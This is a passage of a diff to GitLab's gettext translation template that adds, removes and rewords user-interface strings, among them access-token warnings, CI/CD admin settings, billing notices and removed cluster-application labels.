-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
